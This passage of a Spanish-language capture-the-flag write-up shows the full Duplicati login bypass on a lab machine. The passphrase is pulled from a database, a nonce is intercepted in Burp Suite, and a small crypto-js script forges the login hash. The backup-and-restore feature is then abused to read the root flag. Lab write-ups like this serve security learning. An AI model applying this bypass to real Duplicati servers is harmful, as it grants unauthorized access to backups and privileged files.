INSERT INTO Option VALUES(-2,'','server-passphrase-trayicon','d23afa37-1b6b-4be9-aef3-7823a973f757');
INSERT INTO Option VALUES(-2,'','server-passphrase-trayicon-hash','D0mHkMFvmtGFSxTSrLbJogE7tqqvMyoNW6IOVXtoO1s=');
<SNIP>
Esto despliega toda la información contenida.
Como se muestra en el post, dado que Duplicati
es de código abierto podemos ver cómo encripta las contraseñas. Allí, se hace referencia a esta porción de código del repositorio donde saltedpwd
y noncedpwd
, las variables usadas para autenticarse, son definidas.
var saltedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Utf8.parse($('#login-password').val()) + CryptoJS.enc.Base64.parse(data.Salt)));
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(data.Nonce) + saltedpwd)).toString(CryptoJS.enc.Base64);
Tal cual dice el post: “Específicamente, el script calcula un hash de tipo SHA-256
de la concatenación de una contraseña, una salt, y un ’nonce’, ensanchando la seguridad a través una sal y un parámetro ’nonce’”.
Para conseguir un valor válido de noncedpwd
necesitamos primero un valor de nonce
(el cual puede ser obtenido interceptando la petición HTTP enviada a la página de Duplicati
al momento de loguear usando una herramienta como Burpsuite
) y otro valor saltedpwd
(el cual puede ser obtenido usando el parámetro server-passphrase
del archivo .sqlite3
hallado). Siguiendo, de nuevo, los pasos dados en el post, obtengamos el valor de saltedpwd
. Del archivo .sqlite3
obtenemos la passphrase:
Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
Podemos pasar esta passphrase desde base64
, y luego a hexadecimal
usando CyberChef
en su página web:
O podemos obtener el mismo resultado usando una terminal:
❯ echo 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p -c 256
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
Este es el valor para saltedpwd
. Ahora, necesitamos el valor de nonce
.
Volvemos al panel de login de Duplicati
, ponemos cualquier contraseña e interceptamos la petición HTTP enviada con Burpsuite
. Deberíamos así de obtener una petición como:
POST /login.cgi HTTP/1.1
Host: 127.0.0.1:8200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 11
Origin: http://127.0.0.1:8200
DNT: 1
Connection: close
Referer: http://127.0.0.1:8200/login.html
Cookie: xsrf-token=MCS89bI%2Bi%2FrmBPHZMfg%2FwXlp%2Bj%2FWUw%2BZf%2BeEKhssU1g%3D; session-nonce=PX%2B8x5nT5L0qRg6r28dHuOF5STIkRUYbxo%2FZywQLtaY%3D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
get-nonce=1
Antes de clickear en el botón Forward
en Burpsuite
, clickeamos en Action
y luego en Do Intercept -> Intercept to this Request
. Esto es necesario. Podríamos usar el Repeater
para ver la respuesta, pero cada vez que hagamos una petición ésta generará un nuevo valor del parámetro nonce
; por lo que usar el Repeater
en este caso no hace mucho sentido. Haciendo esto obtenemos:
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Date: Thu, 26 Sep 2024 03:57:12 GMT
Content-Length: 140
Content-Type: application/json
Server: Tiny WebServer
Connection: close
Set-Cookie: session-nonce=1jjF8F1pYTd9Qg80oVpgAc2qil2fgIT32KZlbVSAZIY%3D; expires=Thu, 26 Sep 2024 04:07:12 GMT;path=/;
{
"Status": "OK",
"Nonce": "WRmA2e/L5mm3OEFLgH75qZ2g7cKSQZ//w+m48HDMyvM=",
"Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
Obtenemos un valor del parámetro nonce
.
Creamos un simple script en JavaScript
(ya que el código del repositorio estaba en JavaScript
) para ver la contraseña (necesitamos instalar la librería crypto-js
, fácilmente instalable con npm install crypto-js
):
const CryptoJS = require('crypto-js');
var nonce = 'WRmA2e/L5mm3OEFLgH75qZ2g7cKSQZ//w+m48HDMyvM=';
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(nonce)) + saltedpwd).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);
Y ejecutamos el script:
❯ node Duplicati_decoder.js
P4zNk10leTNvjhb9tJRa4IDj7CBz4MibJ0QE48XGXk8=
Ahora, con esta “contraseña” podemos ir de vuelta a la petición interceptada con Burpsuite
donde intentamos loguearnos en Duplicati
(de donde extrajimos el parámetro nonce
). Clickeando en Forward
, muestra ahora la petición:
POST /login.cgi HTTP/1.1
Host: 127.0.0.1:8200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 61
Origin: http://127.0.0.1:8200
DNT: 1
Connection: close
Referer: http://127.0.0.1:8200/login.html
Cookie: xsrf-token=0nNdl4YOWOjuiQxtYj6mL9ykzVjnm5c8zufKPlDxkcY%3D; session-nonce=8NemSiyTFwhOE8KHzEGqTggV75Nn4uz631T3Hc%2B1cJA%3D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
password=Zko39PZM%2FrtIX6JXBjMPvJ9MQV%2FZjCSbd1%2Ffegh6vRE%3D
Aquí cambiamos el valor del parámetro password
por el valor que obtuvimos en nuestro script de JS
; el cual en mi caso es:
password=P4zNk10leTNvjhb9tJRa4IDj7CBz4MibJ0QE48XGXk8%3D
Además, URL-encodeamos la contraseña hallada.
Clickeamos de nuevo en Forward
para todos los requests y desactivamos el Intercepter de Burpsuite
.
Estamos así dentro del panel:
Husmeando un poco, vemos que podemos agregar un nuevo respaldo utilizando la opción Add Backup
, Configure a new backup
y agregamos un nuevo backup/respaldo:
Elegimos una ruta para guardar este backup. Por ejemplo, /home/
:
Seleccionamos un archivo a respaldar. Hay un directorio /source
el cual contiene algunas copias de los archivos del sistema. Podemos así seleccionar el archivo /source/root/root.txt
(la flag de root
):
Presionamos en Next
y Save
. Si esto ha funcionado, debería de crear una nueva tarea la cual debería de ser visible desde el panel principal. En mi caso me pasó que se bugeaba el servicio con Duplicati
: agregaba un nuevo respaldo/backup, pero éste nunca se guardaba luego de clickear en Save
y no aparecía en el panel principal; la única manera de arreglar esto fue reiniciando la máquina. Yendo al panel principal debería de mostrar ahora la nueva tarea para crear backups que en mi caso llamé test
. Necesitamos clickear en la opción Run now
para el backup creado:
Luego, vamos a la pestaña Restore
en el lado izquierdo y seleccionamos nuestra tarea:
Seleccionamos el archivo a generar el backup:
Y seleccionamos una ruta donde escribirlo. Podemos usar una ruta como %HOME%
:
Finalmente, clickeamos en Restore
.
No vemos errores. De manera que el archivo debería de estar en algún lugar del sistema. Usamos el comando find
para encontrar la copia:
marcus@monitorsthree:~$ find / -name "root.txt" -type f 2>/dev/null
/opt/duplicati/config/root.txt
Allí está.
Podemos finalmente leer la flag:
marcus@monitorsthree:~$ cat /opt/duplicati/config/root.txt
380******************
~Happy Hacking